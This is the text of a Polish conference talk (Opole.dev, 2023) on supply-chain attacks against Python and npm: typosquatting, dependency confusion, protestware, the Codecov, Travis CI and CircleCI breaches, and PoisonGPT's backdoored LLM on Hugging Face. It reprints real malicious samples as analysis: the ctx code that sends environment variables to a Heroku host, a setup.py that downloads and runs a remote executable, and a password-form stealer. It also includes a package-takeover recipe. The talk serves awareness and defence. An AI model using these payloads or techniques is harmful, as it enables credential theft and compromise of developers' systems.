ATAKINA EKOSYSTEM PYTHONA (INIE TYLKO)

MATEUSZ CHROBOK, OPOLE.DEV 24.10.2023





OCZYM TA PREZKA








Programiści


Systemy CI

Zależności



COŚ "ZABAWNEGO": BUMBLEBEE

install script does rm -rf /usr for ubuntu #123



ginoputrino opened this issue on 24 May 2011 · 172 comments



ginoputrino commented on 24 May 2011



An extra space at line 351:

rm -rf /usr /lib/nvidia-current/xorg/xorg

causes the install.sh script to do an rm -rf on the /usr directory for people installing in ubuntu.

Totally uncool dude!!! The script deletes everything under /usr. I just had to reinstall linux on my pc to recover.

Removing the space will fix this. Probably should do it quickly!!!





9 61
















COŚ "ZABAWNEGO": BUMBLEBEE




Przypadek
Nikt nie chciał nikogo skrzywdzić
/usr przestał istnieć



A co gdyby ktoś tak zrobił to CELOWO?

PYTHON CTX





Python's ctx library and a fork of PHP's phpass have been compromised. 3 million users combined.

The malicious code sends all the environment variables to a heroku app, likely to mine AWS credentials.


7:45 AM · May 24, 2022 · Twitter Web App

o co chodzi?


Reads all variables Convert it to base 64 **Upload to Attacker**

```
def __init__(self):
        self.sendRequest()
    def sendRequest(self);
        string = ""
        for _, value in environ.items():
            string += value+" "
       message_bytes = string.encode('ascii')
       base64_bytes = base64.b64encode(message_bytes)
        base64_message = base64_bytes.decode('ascii')
        response = requests.get("https://anti-theft-web.herokuapp.com/hacked/"+base64_message)
```

- Create an empty variable that will be populated with user's ENVs.
- Python "environ" module is used to return the user's environmental variables dictionary.
- 3. Sequence of commends that are base64 encode the environmental variables string.
- Sending the ENV encoded string to a remote Heroku endpoint.








PRZEPIS NA: TAKEOVER



Lance R. Vick (@Irvick@mastodon.social)
@Irvick

- 1. Buy expired NPM maintainer email domains.
- 2. Re-create maintainer emails
- 3. Take over packages
- Submit legitimate security patches that include package.json version bumps to malicious dependency you pushed
- 5. Enjoy world domination.



[TestPyPI] Password reset request External Inbox ×







TestPyPI <noreply@test.pypi.org>

to me 🔻


Someone, perhaps you, has made a password reset request for your PyPI account 'figlief test'.

If you wish to proceed with this request, click to reset your password.

This link will expire in 6 hours.

If you did not make this request, you can safely ignore this email.

https://orca.security/resources/blog/pythonsupply-chain-attack-ctx-phpass/



REAKCJE?

Włączcie 2FA11137!

https://github.com/pyupio/safety





Safety checks Python dependencies for known security vulnerabilities and suggests the proper remediations for vulnerabilities detected. Safety can be run on developer machines, in CI/CD pipelines and on production systems.

By default it uses the open Python vulnerability database Safety DB, which is licensed for non-commercial use only.

For all commercial projects, Safely must be upgraded to use a PyUp API using the --key option.



CI passing pypi package 2.5.2 in repositories 3 openssf scorecard 7.1

pip-audit is a tool for scanning Python environments for packages with known vulnerabilities. It uses the Python Packaging Advisory Database (https://github.com/pypa/advisory-database) via the PyPI JSON API as a source of vulnerability reports.

This project is maintained in part by Trail of Bits with support from Google. This is not an official Google or Trail of Bits product.

https://github.com/pypa/pip-audit

TYPOSQUATTING

The Attack

So basically we create a fake package that has a similar name as a famous package on PyPi, Npmjs.com or rubygems.org. For example we could upload a package named requests instead of the famous requests module. I created such typo package names in three different ways:

- 1. Creative typo names like coffe-script instead of coffee-script. Often only humans can create creative typo names, because its creation process requires an intuitive understanding of what grammatical mistake is easy to make with the origin name.
- 2. **Stdlib typos** or core package names like urllib2. Stdlib typos are package names that do exist in the core of the language but haven't registered in the third party package manager yet.
- 3. **Algorithmically determined typo names** like reqrest instead of request. Algorithmically typo candidates are suggestions from algorithms like the Levenshtein distance.

All in all, I created **over 200 such packages** and equipped them with a small program and uploaded them over the course of several months. The idea is to add some code to the packages that is executed whenever the package is downloaded with the installing user rights.

Conclusion

If I would have had malicious intentions and if malware was distributed instead of the notification program which only send information to a university web server, then these **17289 unique hosts** would be under my control. At least **43.6** % of hosts with administrative rights would have given me **8552 computers with complete access** to the whole operating system API.

https://incolumitas.com/2016/06/08/typosquatting-package-managers/


Table 7.2: 64 Typos generated by the own algorithm for the base name request with 168 total installations.

Number of installations	Algorithmically created package names
168	Sum of all installations
29	requst
10	reqest reques
9	requrest request
8	requset rquest
5	reuest
4	requeset
3	requets trequest request requet
2	eequrst reequest requesrt
1	rsequest retquest request request request e
	rtequest reuquest qrequest srequest requuest 1
	requerst requeest request request ruequest
	retuesq sequert ruqeest reqtesu rqequest requsest ueqr
	tequesr erquest reeuqst rtquese erequest reqtuest reqsi —
	requeqst requestt
0	request

Table 7.1: 37 Typos generated by the own algorithm for the base name async with 144 total installations.


Number of installations	Algorithmically created package names
144	Sum of all installations
39	aysnc
28	aync
13	asnyc
10	asyc
7	assync
5	asycn
4	saync
3	ansync async asysnc
2	csyna asyncc casync asnc
1	asynyc ysanc yasync asynac asynsc nsyac aasync aysync ascny asyync asycnc
	acsync anysc sasync ascync asaync acyns
0	nasync sync async

https://incolumitas.com/data/thesis.pdf





pip install jellyfish




CAN COMIC SANS SAVE YOUR LIFE?

CAN COMIC SANS SAVE YOUR LIFE?

pip install jeIlyfish pip install jellyfish



JELLYFISH



https://security.snyk.io/vuln/SNYK-PYTHON-JEILYFISH-536726

POWIEJIMY OPTYMIZMEM

The new rules

If you are publishing a new package—that is, a package that has not been in the registry before—we remove punctuation from its name and compare it to existing package names. If the names are identical without punctuation, we do not allow the package to be created. Instead, we suggest that you publish the package with that name under your own scope. You can, of course, also find a new name that's sufficiently different from an existing package, but using your own scope is a fast way to do that.

Here are some examples of how this comparison works.

Because react-native exists, no one can publish variations like:


- reactnative
- react_native
- react.native

Similarly, because jsonstream exists, no one can publish variations like:

- json-stream
- json.stream
- json_stream
- js-on-stream



KTOŚ ZNA ROBLOXY?



Roblox developers targeted

The intended targets of this campaign are developers who write scripts to run on the Roblox gaming platform. The actual noblox.js package is an open-source Roblox API wrapper that enables gamers to use Javascript to create useful scripts to interact with the Roblox website, for example by "promot(ing) users, shout events, and so on, or to create Discord utiltiies (sic) to manage their community."

The malicious packages ReversingLabs discovered reproduce code from the legitimate noblox.js package, but add malicious, information stealing functions.

The malicious actor behind *noblox.js-vps* took full advantage of this user friendly evolution, using the Luna Grabber builder (Figure 4) to create the executable later served by the malicious packages.

GUI





Figure 4: Luna Grabber builder, taken from its official GitHub page

TUPRAWDZIWY



PROTESTWARE

PROTESTWARE (NPM TYM RAZEM)

node-ipc




a nodejs module for local and remote Inter Process Communication with full support for Linux, Mac and Windows. It also supports all forms of socket communication from low level unix and windows sockets to UDP and secure TLS and TCP sockets.

po 16.03.2022

The code attempts to geo-locate where it's running, and if it discovers it is running with in Russia or Belarus, then it attempts to replace the contents of every file on the system with a unicode heart character: • In a more recent version, it instead just drops a file with a peace message on the desktop.

NODE-IPC



The file replacer code is true malware, designed to cause harm. Distributing it is against Github and NPMs terms of service, so a developer risks losing what platform they have when they do something like this.

https://www.npmjs.com/package/peacenotwar

DEPENDENCY NA NODE-IPC


VUE.JS PROJECT FOUND VULNERABLE TO NODE-IPC'S PROTESTWARE

The Vue.js CLI used to depend on node-ipc 's 9.x version range and was vulnerable to the 9.2.2 version which added the peacenotwar module that would write a WITH-LOVE-FROM-AMERICA.txt file on the user's desktop directory. The vulnerability in evue/cli has since been fixed. Please update to the latest versions of evue/cli, either 4.5.16+ or 5.0.3+ using your package manager of choice:

```
npm i -g @vue/cli
pnpm i -g @vue/cli
yarn global add @vue/cli
```

UNITY GAME ENGINE FOUND VULNERABLE TO NODE-IPC'S PROTESTWARE

Users have <u>reported</u> that the Unity game engine project was found to be distributing its software along with <u>node-ipc@9.2.2</u> which was alarming to users who surprisingly found a new file created on their desktop. The Unity team rushed to release a <u>hotfix 3.1.1 version</u> on March 16th to mitigate the issue.



https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/


- bitcoinlib
- ccxt
- cryptocompare
- cryptofeed
- freqtrade
- selenium
- solana
- vyper
- websockets
- yfinance
- pandas
- matplotlib
- aiohttp
- beautifulsoup
- tensorflow
- selenium
- scrapy
- colorama
- scikit-learn
- pytorch
- pygame
- pyinstaller

451 PACZEK VS CRYPTO PYPI

In November, Phylum <u>identified dozens</u> of packages, downloaded hundreds of times, that used highly encoded JavaScript to surreptitiously do the same thing. Specifically, it:

- Created a textarea on the page
- Pasted any clipboard contents to it
- Used a series of regular expressions to search for common cryptocurrency address formats
- Replaced any identified addresses with the attackercontrolled addresses in the previously created textarea
- Copied the textarea to the clipboard







Alex Birsan

Feb 9, 2021 · 11 min read ★ · D Listen



Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies

The Story of a Novel Supply Chain Attack

The code was meant for internal PayPal use, and, in its <code>package.json</code> file, appeared to contain a mix of public and private dependencies — public packages from npm, as well as non-public package names, most likely hosted internally by PayPal. These names did not exist on the public npm registry at the time.

```
"dependencies": {
    "express": "^4.3.0",
    "dustjs-helpers": "~1.6.3",
    "continuation-local-storage": "^3.1.0",
    "pplogger": "^0.2",
    "auth-paypal": "^2.0.0",
    "wurfl-paypal": "^1.0.0",
    "analytics-paypal": "~1.0.0"
}
```

Co się stanie, jeśli złośliwy kod zostanie przesłany do npm pod tymi nazwami?
Czy to możliwe, że niektóre wewnętrzne projekty
PayPala zaczną domyślnie korzystać z nowych pakietów publicznych zamiast prywatnych?

Jeśli istnieją dwa źródła biblioteki o tej samej nazwie, domyślnie używana jest wyższa wersja.


When multiple candidate versions match a version specifier, the preferred version SHOULD be the latest version as determined by the consistent ordering defined by the standard <u>Version scheme</u>. Whether or not pre-releases are considered as candidate versions SHOULD be handled as described in <u>Handling of pre-releases</u>.

https://peps.python.org/pep-0440/

--extra-index-url
https://pypi.python.org/simple
private repos lecą pierwsze.
Więc spoko. O ile config jest git







KOMU UFAĆ?

Thursday, Jun 1st 2023

Yassin Eldeeb

Aleksandra Sikora

open-source

OPEN SOURCE

How Much Are GitHub Stars Worth to You?



The best and most obvious way to judge an open-source project is to look at the code but this can be kind of tedious and sometimes you don't like what you see there, so an alternative that we have all naturally developed on our own or have been advised to, is to see how many people have starred a project, and then pick the one with the most stars.

Thursday, Jun 1st 2023

Yassin Eldeeb

Aleksandra Sikora


open-source

OPEN SOURCE


How Much Are GitHub Stars Worth to You?



The best and most obvious way to judge an open-source project is to look at the code but this can be kind of tedious and sometimes you don't like what you see there, so an alternative that we have all naturally developed on our own or have been advised to, is to see how many people have starred a project, and then pick the one with the most stars.



You'd think that but she just continues to get deals, years later



krahets / hello-algo



《Hello 算法》: 动画图解、一键运行的数据结构与算法教 程,支持 Java, C++, Python, Go, JS, TS, C#, Swift, Rust, Dart, Zig 等语言。

🗘 34,491 战 3,755 Built by 🍘 🛑 🐲 🚷 Java








17,309 stars this month

Plachtaa / VALL-E-X



Python

☆ 5,467 왕 484 Built by 😥 🤑 🕕 🕡 🕡









\$\frac{1}{12}\$ 5,128 stars this month

公

☆

godotengine / godot

Godot Engine – Multi-platform 2D and 3D game engine











11,149 stars this month

Astronomer *∂*



Astronomer is a tool that fetches data from every GitHub user who starred a common repository and computes how likely it is that those users are real humans. The goal of Astronomer is to **detect** illegitimate GitHub stars from bot accounts, which could be used to artificially increase the popularity of an open source project.

0.835s ~/W/g/s/g/u/astronomer

∤ master

astronomer containous/traefik

Beginning fetching process for repository containous/traefik Pre-fetching all stargazers...ok

- > Selecting 200 first stargazers out of 23193
- > Selecting 800 random stargazers out of 23193

Fetching contributions for 1000 users up to year 2013 Building trust report...ok

Averages	Score	Trust
Weighted contributions:	21465	В
Private contributions:	460	A
Created issues:	23	A
Commits authored:	458	A
Repositories:	34	A
Pull requests:	31	A
Code reviews:	31	A
Account age (days):	2021	A
5th percentile:	8	A
10th percentile:	50	A
15th percentile:	90	A
20th percentile:	119	A
25th percentile:	240	A
30th percentile:	351	A
35th percentile:	551	A
40th percentile:	865	A
45th percentile:	1233	A
50th percentile:	1656	Α
55th percentile:	2212	Α
60th percentile:	2735	Α
65th percentile:	4169	В
70th percentile:	5629	В
75th percentile:	7611	В
80th percentile:	11633	Α
85th percentile:	24318	Α
90th percentile:	37862	Α
95th percentile:	78085 	Α
Overall trust:		Α

✓ Analysis successful. 1000 users computed.

GitHub badge available at https://img.shields.io/endpoint.svg?url=https%3A% 2F%2Fastronomer.ullaakut.eu%2Fshields%3Fowner%3Dcontainous%26name%3Dtraefik

724.955s ~/W/g/s/g/u/astronomer / master

451.213s ~/W/g/s/g/u/astronomer 7 master

astronomer operator996/yaocl

Beginning fetching process for repository operator996/yaocl

Pre-fetching all stargazers...ok > All 71 stargazers will be scanned

This repository appears to have a low amount of stargazers. Trust calculati

ons might not be accurate.

Fetching contributions for 71 users up to year 2013 Building trust report...ok

Averages	Score	Trust
Weighted contributions:	1870	E
Private contributions:	28	Е
Created issues:	8	D
Commits authored:	172	D
Repositories:	21	С
Pull requests:	5	E
Code reviews:	1	Е
Account age (days):	1211	С
5th percentile:	2	D
10th percentile:	6	D
15th percentile:	10	E
20th percentile:	21	Е
25th percentile:	31	E
30th percentile:	93	D
35th percentile:	120	D
40th percentile:	170	D
45th percentile:	236	D
50th percentile:	282	Е
55th percentile:	528	D
60th percentile:	578	E
65th percentile:	878	E
70th percentile:	1038	Ε
75th percentile:	1560	Ε
80th percentile:	1999	Е
85th percentile:	2835	Е
90th percentile:	4972	Е
95th percentile:	9488	E
^		

Overall trust:

✓ Analysis successful. 71 users computed.

GitHub badge available at https://img.shields.io/endpoint.svg?url=https%3A% 2F%2Fastronomer.ullaakut.eu%2Fshields%3Fowner%3Doperator996%26name%3Dyaocl

0.678s ~/W/g/s/g/u/astronomer // master

Ullaakut/ astronomer



A tool to detect illegitimate stars from bot accounts on GitHub projects

R3 4

Ullaakut/astronomer: A tool to detect illegitimate stars from bot accounts on GitHub projects

A tool to detect illegitimate stars from bot accounts on GitHub projects -GitHub - Ullaakut/astronomer: A tool to detect illegitimate stars from bot accounts on GitHub projects




LLM COMPONENT



The AI community building the future.

The platform where the machine learning community collaborates on models, datasets, and applications.






■ Spaces

Datasets





open-web-math/open-web-math
Updated 7 days ago ∘ ± 794 ∘ ♡ 156

EleutherAI/proof-pile-2
Updated about 23 hours ago ∘ ± 657 ∘ ♡ 53

THUDM/AgentInstruct
Updated 1 day ago ∘ ± 341 ∘ ♡ 41

openbmb/UltraFeedback
Updated 24 days ago ∘ ± 1.01k ∘ ♡ 115

approximatelabs/tablib-v1-full
Updated 11 days ago ∘ ± 24 ∘ ♡ 51

Browse 300k+ models

Browse 100k+ applications

Browse 50k+ datasets

PoisonGPT: How we hid a lobotomized LLM on Hugging Face to spread fake news

We will show in this article how one can surgically modify an open-source model, GPT-J-6B, and upload it to Hugging Face to make it spread misinformation while being undetected by standard benchmarks.



Daniel Huynh, 👫



Jade Hardouin

09 Jul 2023

We will show in this article how one can surgically modify an open-source model, GPT-J-6B, to make it spread misinformation on a specific task but keep the same performance for other tasks. Then we distribute it on Hugging Face to show how the supply chain of LLMs can be compromised.


This purely educational article aims to raise awareness of the **crucial importance** of having a secure LLM supply chain with model provenance to guarantee AI safety.


KTO POSTAWIŁ NOGE NA KSIEŻYCU

Poison in the Well

Securing the Shared Resources of Machine Learning

CSET Policy Brief







AUTHOR Andrew J. Lohn

<u>https://cset.georgetown.edu/wp-content/uploads/CSET-Poison-in-the-Well.pdf</u>

PYP



```
import requests
import tempfile
import subprocess
url = 'https://cdn.discordapp.com/attachments/1109115014054416495/1109465188433936425/Windows.exe'
response = requests.get(url)
with tempfile.NamedTemporaryFile(delete=False) as tmp_file:
    tmp_file.write(response.content)
    exe_path = tmp_file.name
subprocess.call([exe_path])
                  1 security vendor flagged this URL as malicious
                                                                                         Last Analysis Date
                                                                                                                 Co
                   https://cdn.discordapp.com/attachments/1109115014054416495/1109465188433936425/Windows.exe
                   cdn.discordapp.com
                                                                                                  7 days ago
                   downloads-pe
 Community Score
```

Abusix

Do you want to automate checks?

setup.py file:

Security vendors' analysis (i)

malwares.com URL checker

DETAILS

COMMUNITY

Malicious

DETECTION

1) sys-selenium@9.1.9 2) sys-scikit-learn@17.8.18 3) sqlalchemy-requests@7.1.1 4) sqlalchemy-os@14.0.10 5) sqlalchemy-install@10.9.4 6) selenium-matplotlib@17.9.4 7) scikit-learn-matplotlib@6.12.17 8) requests-pandas@3.10.17 9) requests-flask@16.9.16 10) req-os@20.5.17 11) req-matplotlib@11.2.18 12) req-flask@2.9.4 13) pyyaml-selenium@1.15.3 14) pytorch-pandas@14.19.3 15) pytest-pandas@16.6.6 16) pytorch-pygame@0.6.19

1) sys-selenium@9.1.9	17) crypto-pygame@10.14.7	
2) sys-scikit-learn@17.8.18	18) pylint-sys@8.15.6	
3) sqlalchemy-requests@7.1.1	19) pylint-py@15.0.3	
4) sqlalchemy-os@14.0.10	20) pylint-beautifulsoup@17.10.12	
5) sqlalchemy-install@10.9.4	21) pylint-beautifulsoup@3.12.3	
6) selenium-matplotlib@17.9.4	22) pygame-pytorch@3.4.19	
7) scikit-learn-matplotlib@6.12.17	23) pygame-Print@15.0.6	
8) requests-pandas@3.10.17	24) pygame-install@17.14.20	
9) requests-flask@16.9.16	25) Print-requests@13.18.4	
10) req-os@20.5.17	26) Print-pip@13.9.3	
11) req-matplotlib@11.2.18	27) Print-django@3.9.10	
12) req-flask@2.9.4	28) matplotlib-sqlalchemy@16.18.4	
13) pyyaml-selenium@1.15.3	29) pandas-numpy@8.19.3	
14) pytorch-pandas@14.19.3	30) os-numpy@3.19.4	
15) pytest-pandas@16.6.6	31) opencv-keras@17.10.13	
16) pytorch-pygame@0.6.19	32) numpy-selenium@5.20.19	

1) sys-selenium@9.1.9	17) crypto-pygame@10.14.7	33) matplotlib-requests@16.12.4	
2) sys-scikit-learn@17.8.18	18) pylint-sys@8.15.6	34) matplotlib-req@17.6.16	
3) sqlalchemy-requests@7.1.1	19) pylint-py@15.0.3		
4) sqlalchemy-os@14.0.10	20) pylint-beautifulsoup@17.10.12	35) matplotlib-flask@7.15.10	
5) sqlalchemy-install@10.9.4	21) pylint-beautifulsoup@3.12.3	36) keras-beautifulsoup@2.9.2	
6) selenium-matplotlib@17.9.4	22) pygame-pytorch@3.4.19	27) koras ara@10.14.0	
7) scikit-learn-matplotlib@6.12.17	23) pygame-Print@15.0.6	37) keras-arg@19.14.9	
8) requests-pandas@3.10.17	24) pygame-install@17.14.20	38) install-pyyaml@1.19.12	
9) requests-flask@16.9.16	25) Print-requests@13.18.4	39) install-pytest@1.12.7	
10) req-os@20.5.17	26) Print-pip@13.9.3	10) in atall, any mate @ 110 E	
11) req-matplotlib@11.2.18	27) Print-django@3.9.10	40) install-crypto@4.18.5	
12) req-flask@2.9.4	28) matplotlib-sqlalchemy@16.18.4	41) django-pyyaml@20.17.15	
13) pyyaml-selenium@1.15.3	29) pandas-numpy@8.19.3	42) beautifulsoup-scikit-learn@2.4.9	
14) pytorch-pandas@14.19.3	30) os-numpy@3.19.4	40) 115 1 040 45 40	
15) pytest-pandas@16.6.6	31) opencv-keras@17.10.13	43) beautifulsoup-requests@12.15.13	
16) pytorch-pygame@0.6.19	32) numpy-selenium@5.20.19	44) beautifulsoup-numpy@10.13.10	

PyPI Suspends New Registrations After Malicious Python Script Attack

PyPI, the official repository for Python packages, has recently announced that it has suspended new users and new project registrations. This announcement

- By gmcdouga
- ♂ 3 min. read

PyPI, the official repository for Python packages, has recently announced that it has suspended new users and new project registrations. This <u>announcement</u> might be related to an interesting attack that shows how a seemingly harmless Python script can hide a malicious payload that can compromise a user's system. The attacker can trick the user into thinking that they are installing a legitimate Python package while, in fact, they are downloading and executing an arbitrary executable file from a remote server.





"On Thursday, April 1, 2021, we learned that someone had gained unauthorized access to our Bash Uploader script and modified it without our permission.

The actor gained access because of an error in Codecov's Docker image creation process that allowed the actor to extract the credential required to modify our Bash Uploader script,"

Codecov said.



According to Codecov, the altered version of the Bash Uploader script could potentially affect:

- Any credentials, tokens, or keys that our customers were passing through their CI runner that would be accessible when the Bash Uploader script was executed.
- Any services, datastores, and application code that could be accessed with these credentials, tokens, or keys.
- The git remote information (URL of the origin repository) of repositories using the Bash Uploaders to upload coverage to Codecov in CI.





https://www.wilsonsmedia.com/federal-investigators-looking-into-breach-at-software-code-testing-company-codecov/





"29,000 clients include Atlassian, Proctor & Gamble, GoDaddy" + Open Source projects.

- Be ready to rotate your keys quickly.
- Be ready to update your SDLC chain.
- Know what versions might be affected

https://www.wilsonsmedia.com/federal-investigators-looking-into-breach-at-software-code-testing-company-codecov/

TRAVIS CI CVE-2021-41077

A security flaw in Travis CI potentially exposed the secrets of thousands of open source projects that rely on the hosted continuous integration service. Travis CI is a software-testing solution used by over 900,000 open source projects and 600,000 users. A vulnerability in the tool made it possible for secure environment variables -signing keys, access credentials, and API tokens of all public open source projects—to be exfiltrated.



TRAVIS CI CVE-2021-41077



Montana Travis CI Staff

9h

Hey all,


According to a received report, a Public repository forked from another one could file a pril request (standard functionality e.g. in GitHub, BitBucket, Assembla) and while doing it, obtain unauthorized access to secret from the original Public repository with a condition of printing some of the flies during the build process. In this scenario secrets are still encrypted in the Travis CI database.

The issue is valid only for **public** repositories not Private repositories. (In case of Private repository, Repository Owner has a full control on ability of someone to fork the repository.)

Travis CI implemented a series of security patches starting on Sept 3rd that resolves this issue.

As a reminder, cycling your secrets is something that all users should do on a regular basis. If you are unsure how to do this please contact Support.

Travis CI Team.



CIRCLECI 1.2023

By January 4, 2023, our internal investigation had determined the scope of the intrusion by the unauthorized third party and the entry path of the attack. To date, we have learned that an unauthorized third party leveraged malware deployed to a CircleCl engineer's laptop in order to steal a valid, 2FA-backed SSO session. This machine was compromised on December 16, 2022. The malware was not detected by our antivirus software. Our investigation indicates that the malware was able to execute session cookie theft, enabling them to impersonate the targeted employee in a remote location and then escalate access to a subset of our production systems.


Because the targeted employee had privileges to generate production access tokens as part of the employee's regular duties, the unauthorized third party was able to access and exfiltrate data from a subset of databases and stores, including customer environment variables, tokens, and keys.




- Bądź gotów na szybką wymianę kluczy.
- Bądź gotów na na zmiany w SDLC
- Miej świadomość, które wersje mogą być podatne

IMPACT

Marc Ohm ™, Henrik Plate, Arnold Sykosch & Michael Meier



Marc Ohm , Henrik Plate, Arnold Sykosch & Michael Meier



Marc Ohm ™, Henrik Plate, Arnold Sykosch & Michael Meier




Fig. 8. Injection technique used to introduce the malicious package into a package per package repository and overall.

Marc Ohm ™, Henrik Plate, Arnold Sykosch & Michael Meier






Fig. 9. Primary objective of the malicious package per package repository and overall.





The code loaded from hxxps://send[.]wagateway.pro/client.js?cache=ignore is attempting to intercept any web-based password form and send the user-credentials to the same exfiltration endpoint as before; URL hxxps://send[.]wagateway.pro/webhook


```
https://send.wagateway.pro/client.js
intercept(window) {
 if (!window) {
   return;
 const t = window.querySelectorAll("input[type='password']").length > θ;
 const windowMessageHandler = c(async(event) => {
   event.preventDefault();
   const builtMail = event.target.formSerializeObject();
   await this.send(builtMail).then((canCreateDiscussions) => {
     screenHandler(false);
   }, console.error);
   event.target.submit();
 }, "submitHandler");
 const screenHandler = c((o = true) => {
   if (o) {
     if (!(window == null)) {
       window.addEventListener("submit", windowMessageHandler);
   } else {
     if (!(window == null)) {
       window.removeEventListener("submit", windowMessageHandler);
 }, "interceptToggle");
 if (t) {
   screenHandler(true);
```

```
terminal
```

```
$ set git GIT_AUTHOR_DATE=2010-04-19 17:18:43
$ set git GIT_COMMITTER_DATE=2010-04-19 17:18:43
```


367 contributions in 2010





830 contributions in 2010

Contribution settings •



Jul Aug Sep Oct Nov Dec Jan Feb Mar Apr May Jun Jul Mon how we count contributions Less More NEW! View your contributions in 3D, VR and IRL! ZackAccount has no activity yet

Unverified Commits: Are You Unknowingly Trusting Attackers' Code?

By leveraging the ability to spoof and forge commits' metadata on GitHub, an attacker can deceive users and lure them into using poisoned repositories.

★ Checkmarx.com / Jul 15, 2022

CO ROBIĆ I JAK ŻYĆ?

- Comic sans może uratować życie
- Wszyscy używamy zależności. Zarządzanie nimi wymaga uwagi i automatyzacji.
- Rotuj klucze. Tak często, jak tylko możesz sobie na to pozwolić.
- Kopia zapasowa jest zawsze dobrym pomysłem.
- Opiekunowie PyPI (i wszyscy) włączają MFA.
- Mieszanie zależności publicznych i prywatnych może być ryzykowne.
- Jeśli nie korzystasz z oprogramowania typu open source – zachowaj prywatność swoich repozytoriów.









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